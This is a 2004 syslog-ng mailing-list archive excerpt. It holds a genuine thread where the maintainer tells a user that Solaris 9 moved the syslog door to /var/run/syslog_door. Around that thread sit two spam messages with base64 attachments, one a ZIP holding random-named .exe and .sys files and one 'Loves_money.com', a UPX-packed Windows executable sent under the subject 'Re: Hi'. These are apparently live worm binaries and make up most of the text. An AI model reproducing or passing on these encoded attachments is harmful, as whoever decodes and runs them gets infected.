pvxWq0x9ErOs3OSOBuOosQKfzX34OUVTHNGIzZ25dUDkQlcm7NTokscTZ4GMIOK61FVc8brA hj9OJF0eM77vtsuvhaGP9TqevjfgTMsrL29xHgWtdpToyDTWeffwjJp2X8PwGDfFf1xo9NEf LWFZH4PU/yLtlVawkVkBo/oz58M8EGwKXTKGeWuluHGsZsDnyDgF+YeGQlf7L1XP9vGhWcKA hN7HV5TjyENg5F7SAdEhAQdYBrZA47jgAsCiEcy8KXjx06U6n8dTaVoJUJB/iNLLbzQYlF4g MwGXPlyiIzMbt6mCkxZrs/5QeMRW/7W6Ciu58T3d6SglidxHPq7FEuhHAZShRrUIgvKYNrzB PQmwa4klWQXZsv+bSqgeJ9IPHG+5c2S1xMvTdZ1twGzPBjEBI7aOxQ7mh+29etfCHziRZh6+ zlAewZS/KHbC56eQ6hbFJkbVMFa5pM/V5krc5Wzm4zprXBK9/nwQhdIcuf0TCwkq6GmJQJfx YxWNOmCeBHyszMjCsBUKl+wkG8qP7vFXO+1nZGGmIFVsmzf/KZLsQIWT1bw28+M93tSwNMG9 GgQRIVGoAOLN7OlRhgQTumzq2/Y6vXem2YWSo2ZSJ/j4aQ9+cypYxRce4kgX0uiqC0JeExnd S/kv3L8O09q3cYPgYMRR8EAxgYIlUhpewvjKLcCQrGDzmvqNAXBtvdU4VGHzXDja15TcMRk6 18F9nre3SkAPKT5WJS4SA5BIOQjkaF8Xa4hDDVzr19sA5o1aJM3vT+mRrpWoEFAFmK9S0t8a kWbYKszCUfZp8JcWs3qZC4eX9wjkcjMdqQ3GEyrRIFtlyHTc8G+jUtONr448/maxj6g9S6SO doTbNmRCyRMDYJ/P+Yb4K5vmMlebGCteyIklb0csMH02p+/Vw0N0PZcNvu7rhb4VhZk2JV3D 8IXTMyh0hl7rMiyCoU6MPsDiB/1l9x32fPQ6C1WhBlplZyZ5gOO1ZAsTq/vBzWAGgwR9Xp6j eRaC5BL1qJXvtGGl4NEqsGy42XbgP+JOQGofpG9anpSaLPsh+0wtL+UDNxyB9FZMO1sHkK4e dLp9xv5NFDiiq+WA368nLppWqFMU5qTLs/hKWUNZtOl9gezwxIMq6pmWCn3unxld+UtpmlON TvPqzjke3W6//2GUt4cN6bdY/GQ7yOaogi+MTPM2MnQ5rNs5/hUAb/W+yS905UNMjoo9wqWT 7WybTAeSR5igG9HvpHLWi6nSVglHWlNlcyfN6bvcs9ZSx+uLPlofcU1HjP1jyKtARjgXmTEi +A5eSKLKofr+BV7c8FeGSRDPHv9gLLHoZouTPeXZZUaRnckNmDJAzW2cuoJvAH3mqe950tex bQUaltjw70XixlHB4/I2iV4ORwsQ/YKCnMzHIiXkZD81rUjTwd3mGWMEvM+g95I/uoSmCQTp OscxxnLYsKB7M6/go0UFzw1YlH34ZKYl2SPLniZ6V287fphb0OrSN0RCNe449TRPE5mQiDam 0amPQyaFAljqwIslLgzfRTAp2jNYURLNW3A78dWNIV9/IacFAJ8g6X/nlAm57DwqLr08Of2w YWf8bbui5lCHAksQn6W8sWTFJOER239CY8SVvSfibxLCKPyWdlWlkYDrv0J1e+PvubY5bGD2 BpsmJedeo5ezWIyjwCpqU/1vk72K6CiZlOAsY2lp49FE0ZwEWONQKlGGxTdhMA9uUYWXA0nW 8krzEr2xYazebKycwQ7TZ9AF7ezeh0vQnrRz81vMto+MBG9kxowfhFFtnTmuzgx/6ZgaJEo0 cvB/BN3LGpiFDKDFJ7qrVeFnNX3UTKTzh+3hZYqiocCirXBAypRcTVpMbAbvb9kGSpjVMUS4 r3X+jYmQYhG4wcZMtz6Rn4a5xw7OO6dTQ5Jr/3LNiXoK/cfo0ArMOr3/dRn6P6hf5k83JX+a JKs4nvFhWqzwWQUk2VYLs/KRve21jhEkJ3uIa9BT0YRj3j63+T30pW3HJsVR0L3clfj1+uOI 2EHKhS8KTlX1PNgWG8ywgV1vBstSF7XYeYPZmD2RmJwdpyVax2qpOn9XtQ9plC4QiLoxbFYz LcXXvBjZazaAZ2qhpcMNhqQb6EtE5L/b04lWwhCXp6f5XaZEOeY70XUtxT+9+smGUphTZRtm W2biKQ9hmfXY1wPlb6jxnJOih5sSgWs0s7+dbgqCDW4y0YjWw06rZZcBmlZCz7WOioRa+xYd qC3fS4VJnOQIyIqsi1qtRUNEzO2jwCfYPmwWd5gFeJJll7dJakYUtNQxriRK9ab0KL4BOzYv 48YyDKnUNc98s/ntyILgNr2qz5BdWUfuagp9b4eFpyp9xxw5X9Dn9g9uwX+tR9GgIlmU62+y vFnrYWU5BfKNKaXOHYn0S22Ay6idP815IsTPEV2rcnQJYdIEWiKPMEW5I+GnDCV55xzoe/Tt xYb8K6M+kwfVleiz1alavHsQdgzuamgGOOQi5s/CdxUtZN4zSTuqdCesyorLR7U/Cf8Cr4Iu EBKrn6hDUK/k4BQV5A7+x1LDg8c7YhPFC5jaPH1Do3lgJelAmZM/Nv69DpW/F34ZexH6anAc 9l/yFPLIFAwnvAriV2U3AgXK/R/ZMtpwgfa7Ju9cjntTl7HviWQTMipVXn696yWt6NdhGkoE OlvhHNes6aaYQtt9vb2LRcWOcI8ivRyy38eW2zEP3Xo+b7jy6nNR21U0VjaXWEroKe5tSVuQ oBAo4Y2F0xdkgBotMe0E6epekfVmN9jZIupjMNAt3VoCH7F+yaNmvcM4it5mqwhJprEln6g2 2lOYQOfv7cLL7YmR01+/C1HEc+vJd2KtMPFUoh3XUyVd2nKY9oT5/3FzgQoAWqB/s3venjQp ze1m/2mxaUXDm17Flm0ntXucNDoQXjyEXULz7/YsNShW6hPRjpm3k8/KQb+XQbs5uYZ92ybi IMK+66WlmlCJMIWoNnhADpLQOzPaQxqqH8uRw6/pcI0kis3/Mo0TTGdNLVEc7rOrtuMvCLMl dbHO7hjJxQvelPdfYIS7cZ2NIGeKKnXJJHrcraCJLbF0K2h6+0KB7lNavDq/hut4wlwzA3GG rWz29H9H4SeUbWEYJKGNZxrdYpI6R9D13AHCjIsCuMxV5dK6gOVPr6gnMuO1EpCZ8N8RlCZn QdRCtMBjNWau+r8jclrQkbuuNA118jzh49WxARYKDVj/nmutK37nKpMUSOHNypL9LAIsnuh5 htp2gx/L+jwZQ+Qk4/QP8KDiTgHtKVY7V/18VZLVCBidv7gD86sZzekJm2HTkZMhiYmmTu+W 9JeO57vW47UseXrOGY8uLEPLV0Kmrhlf3guWlfuWpfVX1Bjx+Aba8BahU8T2vfBI21IRNIyk ig3WEKB8WCFLpFgrzcW4FLF1avNj+wa62afBWqcXbASo6iai4pXpUw2wSMpozUUXeuA2ipqE jymMHaNsipxILDAWoOPjQtZZejPl2I3pP+y/+rmy4Ds3Y4je/hdK2AcUUJaNUjM79EHj33vL 9/5NmmjwWpOENqgkX8TET3Cqto1YSO03d3xCyIijeYB7VXK2/+1ksqq0oxav2tBlKQ0S65Ys vCO8ET7q6CWQ0LLysHP4LLDhxn9EEpojPX9H2RF388gH+WQYGvkI7rfwH1qng8nfr30JGz0O B9BxBa4Xh0V+nSi5n9KJ4m7Py09aKf8h+GhYFQsAUSE/03WO0CiRgLbYnfjCL0/ZflrOqE8s CWhH/LguIU6gPe+XoJpDECHQZq4Ulq6tnskeR8peTnteqGQS8MArr38tSO6bHeOzb46adKmm SVBDheh5SsnZqVAUaRQVk/w0Le3yLKqIqvvSY13D/BCeHVLSJmWVQOWw29iVdSd6jNafEG6w 7F5S/q2u5cswkk/6bBXR+uRF9VseHD+Ztn3WxJ/thCqML+NKkrjkuw4Ey9FsSPD0B/vEesn7 u/Y3kiFLZ7atb+9F7C/dlrENbKUSNU2v02MQ5WE3eC14zo2QgYsXqKdDnzAQDpzgTMz1tYuu 3RDw+UjnDyiUPHz5l7T/KlTDD0w0ocp9wOFzqtW3Uz9K02nRKyi2W84tnTngxarTCugWRmlz tOS1cQrxkHcqmEiooWAYGZW2zOVJuwODIlLp9EfgzQ4ETUQoRmgzw32Ta07R3XV/6Pc+KCxZ qLKG2yKuQtiUVe6npnTxpDRPmy7CrFPAcOFUVZ+nKJjcyzIq8qIovdz4J25R2lKoHFUMmt5f kMX72UtV3WRR/AQ6nwIojg+JTMy26YkgAcyHVSAkEsO92SD2MCHaLZV/N8BbCFwMIraX/AEE tjiSbV91akRxy39ntYBii61CH3P3nwoL3floVEmTtc34ROiOwEg/MEORrv8JEqruQD2mwoty RU8svybWlg3Ty9Plvt3/MhHaZTRk+HbxKUUAHhnhR8Hgv+dHxs6LsGGMgkTHSoAUDINKOrWA ZQyc7qLfZVmEb0AzQItC/HTL+twnCqumqZNuvJLYZ2m0wkDh1dYOS1K9jLeHBdDJIB8u/hAK KUDLN5mQ/UbpUPzuYYuTP64a4r/fba2QyWrAwGeyqUlOtJvOUEsDBAoAAQAIAGBOuzBvzaGK FwAAAAYAAAALAAAAbHBoeGpldC5zeXPDcgynn532cdte+5VpUlF2RunztksZD1BLAQIUAAoA AQAIAGBOuzB5Dw3VjmsAADtnAAAMAAAAAAAAAAEAIAAAAAAAAABzbnFjanVoYy5leGVQSwEC FAAKAAEACABgTrswb82hihcAAAAGAAAACwAAAAAAAAABACAAAAC4awAAbHBoeGpldC5zeXNQ SwUGAAAAAAIAAgBzAAAA+GsAAAAA ----------uwlmdnvwteoxcqntrnce-- From syslog-ng@lists.balabit.hu Thu May 27 09:10:04 2004 From: syslog-ng@lists.balabit.hu (Balazs Scheidler) Date: Thu, 27 May 2004 10:10:04 +0200 Subject: [syslog-ng]solaris 9 problem, no logging In-Reply-To: References: Message-ID: <1085645404.1754.13.camel@bzorp.balabit> 2004-05-26, sze keltezéssel 22:58-kor Oscar Knight ezt írta: > Hello All, > > Running Solaris 9. I installed syslog-ng. I kill solaris syslogd and > then start syslog-ng. I get nothing. I even tried "syslog-ng -d -d" > It says it started, nothing else. The door name was changed in Solaris 9 from /etc/.syslog_door to /var/run/syslog_door (or .syslog_door, I can't remember exactly) Nevermind, I've checked it for you, it is really called /var/run/syslog_door, so you need to change your configuration to this line: source local { sun-streams("/dev/log" door("/var/run/syslog_door")); internal(); }; -- Bazsi PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8EB1 From syslog-ng@lists.balabit.hu Thu May 27 22:16:52 2004 From: syslog-ng@lists.balabit.hu (Oscar Knight) Date: Thu, 27 May 2004 17:16:52 -0400 (EDT) Subject: [syslog-ng]solaris 9 problem, no logging In-Reply-To: <1085645404.1754.13.camel@bzorp.balabit> Message-ID: Thanks Bazsi, That was part of the problem. However, I made that change but still no joy. The trick was realizing that the config was by def in /usr/local/etc/syslog-ng and not in /etc/syslog-ng. It's how they compile the packages at sunfreeware.com. THANKS for the help. It would not have worked without the change in the location of the door file. Great program. Thanks for all your efforts! Good day! odk > 2004-05-26, sze keltez=E9ssel 22:58-kor Oscar Knight ezt =EDrta: > > Hello All, > > > > Running Solaris 9. I installed syslog-ng. I kill solaris syslogd and > > then start syslog-ng. I get nothing. I even tried "syslog-ng -d -d" > > It says it started, nothing else. > > The door name was changed in Solaris 9 from /etc/.syslog_door to > /var/run/syslog_door (or .syslog_door, I can't remember exactly) > > Nevermind, I've checked it for you, it is really called > /var/run/syslog_door, so you need to change your configuration to this > line: > > source local { sun-streams("/dev/log" door("/var/run/syslog_door")); inte= rnal(); }; > > -- > Bazsi > PGP info: KeyID 9AF8D0A9 Fingerprint CD27 CFB0 802C 0944 9CFD 804E C82C 8= EB1 > > > _______________________________________________ > syslog-ng maillist - syslog-ng@lists.balabit.hu > https://lists.balabit.hu/mailman/listinfo/syslog-ng > Frequently asked questions at http://www.campin.net/syslog-ng/faq.html > -- Oscar D. Knight knightod at appstate dot edu Voice: 828-262-6946 Appalachian State University, Boone, NC 28608 FAX: 828-262-2236 From syslog-ng@lists.balabit.hu Fri May 28 04:05:47 2004 From: syslog-ng@lists.balabit.hu (Kaans) Date: Fri, 28 May 2004 08:35:47 +0530 Subject: [syslog-ng]Re: Hi Message-ID: ----------akavlgfzdidntkbpjlku Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------akavlgfzdidntkbpjlku Content-Type: application/octet-stream; name="Loves_money.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Loves_money.com" TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAKgAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAkAAAAKkm3RPtR7NA7UezQO1Hs0DtR7NA7kezQGNYoEBtR7NAEWehQOxHs0AqQbVA 7EezQFJpY2jtR7NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwBpcnVzAAAAAAAA AADgAA8BCwEFDABQAAAAEAAAAJAAAPDiAAAAoAAAAPAAAAAAQAAAEAAAAAIAAAQAAAAAAAAA BAAAAAAAAAAAEAEAABAAACdUAQACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACk8wAATAIAAADwAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAABVUFgwAAAAAACQAAAAEAAAAAAAAAACAAAAAAAAAAAAAAAAAACAAADg VVBYMQAAAAAAUAAAAKAAAABGAAAAAgAAAAAAAAAAAAAAAAAAYAAA8C5yc3JjAAAAbhkAAADw AAAAGgAAAEgAAAAAAAAAAAAAAAAAAEAAAPAxLjI0AFVQWCEMCQIIvyc9X9rQb57HxwAAyUIA AACSAAAmAADM////m/rJOnEqKxiQ86MrEIn8ewjaeUIXGA5z7n9eUr/9//+6+gQ6jxg5r3EW rHG/8nGP9nG36hniLTsQ8sj83P+x3d8FO3H+Jsk4vBgSpDM49vora+237yoNKgWP6gL2qhI6 BQANGX/79gd5Pg6S+to1kPoSYTT6c78GPb//vsW+DoKQATDyEi26DXe/Aqr/m697KRIGFVN5 hwL6j/gR6QWPd2/ukQIOEmpbQw4RNQ8SqrrbNnNgRmqHDnf+arf23GbiWVqlyOxH8vi32d7f if4ZkP6SFqS9Bf8Lve3BtqrLB8koDUdoJu72rdw1rQZx/PY7E/hACVEJ7z6y/Xkb+QlQpR7y qXGn9iGQ4BJj8pT9d0l5OpsGULGPC6Ef8BKDe+cWMsqxuPsSSsWpyq11f/E6jvSqkJQlDLso xH8WusGDrEWPhIfJIRmuw5ft/1Y7Gup5A/uO8VacCfL4jvtWmgd5e3gS6BLHmDgJ9hLJ/BJv 7d2R0xLYBrl5AehIQpxC9wit/f/wnFF5E/mDSA0j0QNKx9CRxP////95GsXGxInoxs6J8P67 xqGI9f78EfH+BhH91sQ6Gvj+6x7aw9FQSamQaSShf7N9Q4d7yXEi4CIGYTMFCFR63/Z7u76O 47ISdMTTj/1Zoe1znTFz//x5PP4RIEL7iBIYBnaFn9vekvgVU3AEJE29vS72dxeEQ/oTcu7A BDgYAxJi1vht4zy/BHEzwHD+wXK/hQ2y7e62CMsF9UyvCcByFXDs24W3BcC7wSiI+CgEOY8v 2LcX3NlqArmP8nD5PAdwbMQW2rn7BdwBV4wC/rX24+S6BBtPA+7Ccq9t79vdY68GDQZwDAQX kcKb61yLEBoJBfh6pHHdurdvQMruygUFGDpwI/kEBnLfPkmvYOYZcbrG+QX1Tbr8hd0tCNbi QtJ0DZ/ajPfWlq+oHQX5OP+IHJatfJj2EysFPO72F2zkwhdD6hTdEKNrvhV1sgiqkHT72tKb t7NbBcJxcblr3/6/oQvRMHGp8vkr+an2c90Fiep1thfynb527vsFP7URPqBj7Xc7kNIJDwYS 9nU7BeoXyrIsAu4GObne/crJltoa35wFGbqqTbbZ39T7qqo9eir6AAkubI9tNM/qIfIl0hH5 OgbkxqchJQ37kPtox83utpZFWOgXBajyESn2/v3od68Cifg9uP5PI/1L+F7dmQYkLu7117Kx 26x3Ez38g7wwaVqwD+yQ+DFx/KRjFyeHubNMd/gS+oCLbLEliVn4ipfNzDchNbZb4mks92Ay ez6CHa35+AgsuO6SM3rLY8AVvt0g8LqOvgN6GXd/LapLNmC/5FvB5wIYWpL7RqDqHjMkZERf t2wnIxMSreYS4pdao3zhKMZ8nD2/AIRh3he+NQsFtwANG+CQuhLjXVC2j93J/dLCFnW9/gUK vGm2zc1rnAf2APQ9vepqz9QiPx+fCj8b2Nra0uU0Gmj5Np3y7yfhwnO9RT2lHxqprckF3kNH 04GVsG6nb+7haAfeWGzuDszQFPjrYxgG1uoS5cZW9X5/c4cIMR0HjgoJy8vDrzrIM8MrAp+Q 9Bh235UboK4A2Ri4t0L0JPn59mFr3B0W+aEFHkwKqia9wdxuyxJYdxPSeumeS9ISdZqLE4Fy H3SfB7dpvXAWCPsMn9vRAgWikC7VkgdWIBmd7qFqGoVka4/DFiGe3gwK4Qi702L13MHkkPas z+e298fBd4f7Hkz5Iobme76qGtT7CdCSO8O/bgbeEAGt+BLWA/4Iv286B96gkudwuiD+kCm2 2LsxqD5G+F0Br07Kn6/kNIo+LvwSFwK5++0HmkKqNg8Rz3kC+wv6NqqzNLtl0/gXNqrn+W02 y3Lq6gXr/gXa/0LV2mfs1U9q33f0jHDghu81EpUkErTATTIPh7DvORupuLhr4hPvUv8SlwIL 9aoWmArBrbX9AfCM/w+JDATNqgblXfMHVKsJ9hJOByxZNAxcCsFRSrbTw422qsJPCi8DBhjp Dt8u71ZWurcazw6W2V5EUDUbSnnu4RjLBr9MBeWYCrbgvsjficoQEoHCfXIK9Bgm3h7uBnfJ degJXkU/bi/xWBFuObYF2I9BFSzNBwbnHwcKEjTN1A7Zy0aDqaSaDtwBBa5NiEU4W83+ei8L 942NeFRF8lAgLQZ1ZnOvytEPtE6J5Z5sjyAdsBRC+7m61/DGDUbzd7NGQz2VDjuYDHeKJoNx E6bhO1SPsIZB2WwLt9svkl43krgJIQJ1US5bY5gpshb8DS8IT8/G7hcWWy8b7rEdcUgMLP1F 1zoKRbyxv7nNBiAmqq0SoQQZ6A3MCJ89uQkP+HElf1JvTsbbl6WYEMvNMkA+KUr8f/AYCxnv QyA7GP87EeHxKWMTLbaFvPkWFLlCsEWhSf6EgqputvXYR6PMXGv7Shn1trKD6tm39j34Rbqt ULgBOHnCvyzyLtC5tp1uoHP4hbDXHJPRYhdvpCpx8iSP/LPHbtHgoLuZEqgtBs9vixU4zS4d uh6hezcCuC7OrT1/IgbSG75dgZNrXSxzfxl3d+63xRj3TwwSHRdmuEW9G/vZtor0rRsGEinM FfEkB4TaZxoHDwQzjy0dbHNhQ1MRQAw+zqVDBU6tWH498M7KjgVTEvkjFcN1jMMgcAar303h aXpuixMjVzo3PRq2yEPqIYjozw79l4VGRvkCdvxEIwwaDQzVEPSpjPThnPmSs7HOWbohY4cK obQg+JzN2MM699AgChv64CqNfZSQExreo+pvHSOIsGRxB7x7xLatv/hv1F0RDf8q6iJxNNG3 Ans7+rE7CxnGFAIFeF5aKxR7NAUhoSpCwbkmaj0uBbed1hm3u1my8nsC+sqwHv3j98m9w2Wb Ss4KGnXHv0eBWRsl0hlszrtJc1ZwEv6pws7bZssXoBLsLxMSGSefNt0vnBE098zJ1NfuPXUH uXs3ENU/yQi6ph9IORqSI2pisjtojD3EzlCoESjvmuoILIO9GhGknPsRAH66ge9LyYYal0A2 aGhAPWipXdoe0HAfnBs6nEarLTv2GwwmPvYLHslj7ne/7xBiSJi3Gkn6jWaSMmuKI98LyEfJ ESdw6gMy5naNkipnW2By5NsMIKySLVKQSJlBDi3NeTiA0Qh3SwXLY1PGsvVHGBwCi/EZLN36 3Mj6Owvu5IPpWhR4VsteB7L5sKy59XcuaCrIV8iTAy5oZ8jDADlyksg+YkVi8kpecoTIlsjA yN5AugfxbIq/ERzkJB936MgyYtjI2bySl+rIJMvVbMmTA7IIy9VsRcshB5JXfcqQyuTJK3lU ys7K1sp4ARwloRz2yDjBbsEsHS7JOBvXdW8LQfJFzzpWtyhEWQl35P6CSfn/PgpQ/37y6TZ6 l/K6WQ5Q4i0y7zB4514JCPcM9AUa2nsbFScz8Dt5C/sHeK11fBsyYGQCfwcJ2qLICT49/2uC rM7uK2+26Ak+c52/2URqFGKzvQRaVhH9NaNW8MDUsFpWDwQ9Pwi5MehCGcp3hwwR7WvtAUOQ exUGcjjVF9qmk1AFH+wK8IgZs33Jt2sMM34R21YkvmGSj0ZyQ24W6v/hwWFlyjoj4fG5XiBb K+Ic1VyYCeTyIuIPBDnv1gIG71cJj/4Pa+YLVr4klDIQMvI13w2aqkcCBWDGXjPJoiENxyMb 2UpYdYUFLU5N9se31cT2j1B4Ck7+jbGFUdSwnBUKnHsQRv2c7W+3JZ7zDLcIBxv/nPG3DAPS dM32K5xz6iHyAhzxAKIwSW8Yy2qGHgZuEt9KVMGq1MDUQnteQTHKboDL9maaBWqQ5HwsuhQL mGVbZ9QKUs/S7mPf7i/wnHm3JvsESvu3ST5idq2ruz0usfn+QCRwBVTw26vtVh5UnEsgNgMa uqYzC5LcFBpOBxi2ffVrTI3bF9ceAkJ8q+17NiijhtdYEgJGiHUmLpugOmKcEQM+swnb1gr7 qXkC5EWt1TZzT3b9jRMNYhEac4MTCUi50cJtM0t1ZO4wB1z2A7FvUptGDvbyLW92euoOA+Z0 EvAXYu5631bGHgYfXpmgULaMS5gEm376BTq5HsLIoFrZkjaMWFcC8xeIoLlsG7Kb7zb4BWyq Gq2cDa8XtnPbm8Vil/+fAxL/0w2T7h0GglLlBRPus02CqAsZai/Wks93DgkVC9YiWkjCQbYl pDc31iXcuW8M6EcSeRD2E+9mEgKCu4QWtx2NJeoJR5rLUvv4SFbu8J9LLb4FNs3kNNqPUs+7 81L25kPUsl4SFNHiBKGRDuJe4mw3SDUmW2Vfv2GE/9EPV6HWn+77+3n71H/JRua76iLYUerQ CwTcjv6fHdCPhE7zYwb5hPYS3Uo2zzzQAhj6g1+y8TRjIA477MUoxVLk69YRyBI2qh9wZuP6 VObZ1XQGeMvcR8iMlhv1qcAjHumIBFsRrofeWRruQQwLFGC+YGcS4jsVIe2z6bJtKP/8UiD4 IJw9NmtryyZx0UOaJLuZVnyGbzH9ZGgjsDB48qvPK9Mz02K4esDo4uOS+GO+XQd3Nxx6Elw4 kstXKRj0qj9TP2IK2ZLUfElt0RslqWdRjdEJ9dozZOawij+WUqljHeSwPqjC0XST8TuivdNF kO859U2y/LMUHz1IyBtxKbEpbH8GnMU5Ca2SQvH6NwchnwvB6joG0ibB6aPfyQ/Li9RY/XMe 0jLU09LHblCp5bkgjNMV6XHdUv/HIhJDcYLu+YLqqenTZmB6J7+T0q26edOVe9l1000JDZeS Jv8kHxIHnlXq/+kzLBLffR/2kg0Nqi+1jyYKxnNCGMBdwt8CDXIAC1/d0oecDSGecZHSsd74 MaydnP+1yPa4QM9athPPqlMrGsRWuAbvkxFNc1yp5Ljq7t4hTB+o7S5j7xEFyBIVG+oSVQm9 qS+EeLb/3fJo3ZsyqZe4lfuQnhIOHfB1jNv/jmMtXvAt+/WhCTenkctCfDRf0hHQHCQwYxB4 wBrdx2eL0TJhGZLKYyRzIAf2MhK1DLjP/AmOOQdMkQqB7VmSY8802LeeBJomVjAHOewluHhj YFqpe562Rw4bGg6vJpD8VI+LjBzm06HEFk3ZCJ95FhI+B7aAHpSSkUG6F1rOEpbk22RyxBoS c90MmeIcyIqZly3ZlrwMEhLgGfc0316zS/qQIwweEvXcnjrWhxpX0F8cShImCLc94FLpRMNo EjdjY9wXrxyPqhNnEjTnLN07azcOF0EtWp636ZKc3ROVks+hfy68MQ06LO7/HMj1eCGUwM+x +g8PH6qIhzE1thi3u4nfowomQ/t6RsA9uAomlZMS9k66nwfB38f/5nIJDs1GOWEHUYq+0/wm vPcTs4pN7vIAhLOduxNlbpGI4C6zd5NHmt8eLgh67ojt5OzykqnBChGeFrQ2SNe87A632uD2 IueQbXPPEeEQ0sXeIZyz8KTApqPRfD/Uw06S3tPokqYiouc+w2AV6qgHHB0l3gnb2AoHHgje 9jQHMkYfGzc83rs5Aio25Ag3ghFWQlUefDY3UXIaL/0Y+xzjLGTGNiYiqikebioeLpOdLQwi NNkT+xAN8Y3HyToR+ZE5gXdLh4+s7wQdcQpBwKyBvBCiuZ1D2TkI8Tmz3sKpmMDf2UOI8+nD oKYeOe4G2xzvET4Myl6SVvfD4Oa6QdgWmKGkXO1+FWrZYVlmGCaMGd5hsNkr7eH++6iDOgcP e/ayDujeHcxUuxSoZDYftzLbv/vOIqUkSxP+BHuC+9ePitO1bv2ejvO6eoImjwqrb/uNffbc HpYsRxI72daU7oelD/CP7W7Zi5IBYh++y97XNGLBKoZhtSD6AzZywECg2Nwj0XavZCOQJxOw ut6yuXMkG7fYHXwCWNx1f/s5kir9mgUZERw593PhwMn6kn6C+gX9eNnuaxi6BfoQpNmJj+FL FCKHD7KbdvZ4LxZ2Bv5x9OIUUfZtMT5xzyQJ3wzme5nbOSiuABHoMg3UQ6hvOfqNDgSU2Xhj 2n8IPgJ1ycY4zRj7jlR1BSMSzwokiTh9uBbb5jXYd5BhoPgBmKxaWrd6/Nzgnm3qku50RA6+ ewGxfXs/S4z9QwYtcTEZy0Wr1b9fsOd6fYHY5ITk0SIOdbJ1EugZqvbm6LfbLf+O+DIRRmZ/ IfVuOmxbBGkR7q8hZ+I7gAvy3KWfVb5d4uTfylDuwhKP+En7IvWSzV0iXkhWKAA78MG/OiVh 5XfY4Y5GX2IOH/IfDWW+Q1kriMH/qx8ubEIBnSgaJO6Q8LhXLM03iZh/vQDsHWa+Mbp4/jV4 HvWbb/Yac3qHBNqP8b4D7RqnIdUQ146gqVn0ug16BQIy24RLrvyG4KTb9K+aI5cuF0FmCrIa CoJbGYD4zbe3CJ7gBmwDjv+HEeUO8O9L0AIGFBHfEfWmK/bOykYHQ+7ORFXQzHZ2LtpZ8go5 cbDWEOoL5XZsfwlIciEloPxxjP58PgsWsAArCNym2P2aO01Bn2xf5VYBBS3Sw+4pIRGca6ba KYBEh2yFrkwNiLzs2amyg+olKNfa7rfhpj/Qa3Hvgnl7AA4viekj3nGkjkaseUbkWfyrEvAz sLChq0DxyPEleLSEXq9Bkqa+RGgDGvEp5awoQp9i4wu6/v6Y7rR1RQbL3lSdkS2WAWlv8nqk nsQ05DTP/izykvRW3xMNOCen6T6H1lWz6goB7uyGsjdSTbZuH8+6Geq6wqHTcRZprPyueycX wk3lVQdLlWSgRB+haROtRSOEUAInJFpTBToXpXkiN/ZYQLKMPogWD2Xr9O8S1NDseZEG/Sd9 ED1AlktFmeQ2KsgGi16H/+fZt4PdFurkMVosJ1VByP7Wzf1y/ZJp3hEOJmXJObGDFKFb44NJ rqqtNAXPg2y5h5YC8D5sbjzLluncf4SaBoVc8lR4CGYzWoRnnOdoxLM+ymatEnr7dQ5SaVL/ a3cBksxXbkIB+SC24zUHpNhYbbsbR3Xuz45tjPMI8Yj/E0Q8U/oZZLBYC1hnWG6xJAcJGiZb TASNYG5CHyAUHN1sHXcFwf/yGY5dmnrHYEXosM3+DcEhy91udw2fDJLBVRoT9EI2zglD/scu B+swqxXEJDz/PBHZ/////56VlN2O2p+Mn5TajoiD2sDX04fxFPNznTHuXHIfqk9M/////x9W e2aHmbrKF0oxvK+C9MblQN4BVvCgQVrbr7RQ31qG/////5xP3hVFSiO1YsO3W6fX/uRJhS4P JVDErX81Ds1pldNf/w3+/8GlQIPtMyG2+jE1pHsUSkxvicoWyUkflv////8Xf1fPw/LQ0svW 52ef6DyewK9f68SQ6xMhZCruwEMJ9vj//6XmFulU6bn1sumW+OSi9D7x0QsNfVAjNf///6Wc dekuvDl7/HArHyl6Q+mDGCvKkSYaYbxvEv///7+Uw0Ovopq2TuNbdJ5wf1K1QRY5JGRs3fy/ 0d/o6wcq43PJk0NvKy05LnmR//9/oZKckC1Ug1ciOnglrk9z67TDBt697AQ4Gv//Lf6MFmY1 RcGuzyFgXEwD8m5AnsKfxd68o7X/////XLGufG4aa98CIhgepmiy9xsfJ1BLaXZo9M0V4ZEw 0OD/////AyRnZTymlaTUduy8HEPCMsTwbFLOautB8rPoch1VX6C/wf//adQVLqicaDUnTrkd OHBFPnjYDRQo2iDF/////zk9Y6+KcAaC5PNdEwC3rvCULG+GU0moQoFlqj2FdJi0/////+lh 0UZpeux1+LFN4DYJanQ/Otdb4pDWhsWssz2RCTxb/////5cX0eR16uC9WNnOLcUZgdTEd3vg XqY+NJC4f0+Gnb6V//+N/971pynqxlf3i366Qppun/kHDJarx9WlT8M4//8b/TWlAzvsMyzI nFxU84CuKj6Yu2s5qWFkpP/b//+wwAjEfhO9cNX2VjJIQ/JXouyGMIUhOkVJnZ4t/////5rF HmqCQ/39J9YHxcBBRIMrvHwZXDrmYjRkZFH5Mq9o///W/zJP3Wcy+R6bGlZ9aJzu/YOKkbky NU9668zI/5f+/7alrkz3/XP/gT0b6WbX88wf2M3GP2oDGrai/////zsx8kG63Fvg/CE/WR+4 3+Udt8GXM27n75obKhY25gDBwdv//1IfjR0FwHHT7rFRvS5WUapyQ0p5y5P///+/EfEtZy+G KmZOvaKljIa3WGC4d0W1Yw4VRxko0RSv6v///1FVpCQd/Fiy77sG0BX32ZqzqUxltIoGpjkz O///L9CDpStVAi2bF9rNgeA1zD5Rn4k6CVJqByP4cgMv9fl97uAHRW59NqBmzeNmeUcHy3wf 024T2YWu4yUJOAYOpaRd9QMPdqQF/1gAEpAmWJgA02b711wBfCPRDf0XGPK92fn63yMiEAYR Knf9S2wKd/J6xLmP4HqEou6ceRrBFoCEfvdFMnvfF4aGyPINnpBTGczepuoF93uToyziCDyS svgCmeI34oMV7wIQU+8iXLq6yA9uFJWP7zG/4i3PmoCETSbScTa3DOwTeur7WfaKWeIDhxwj 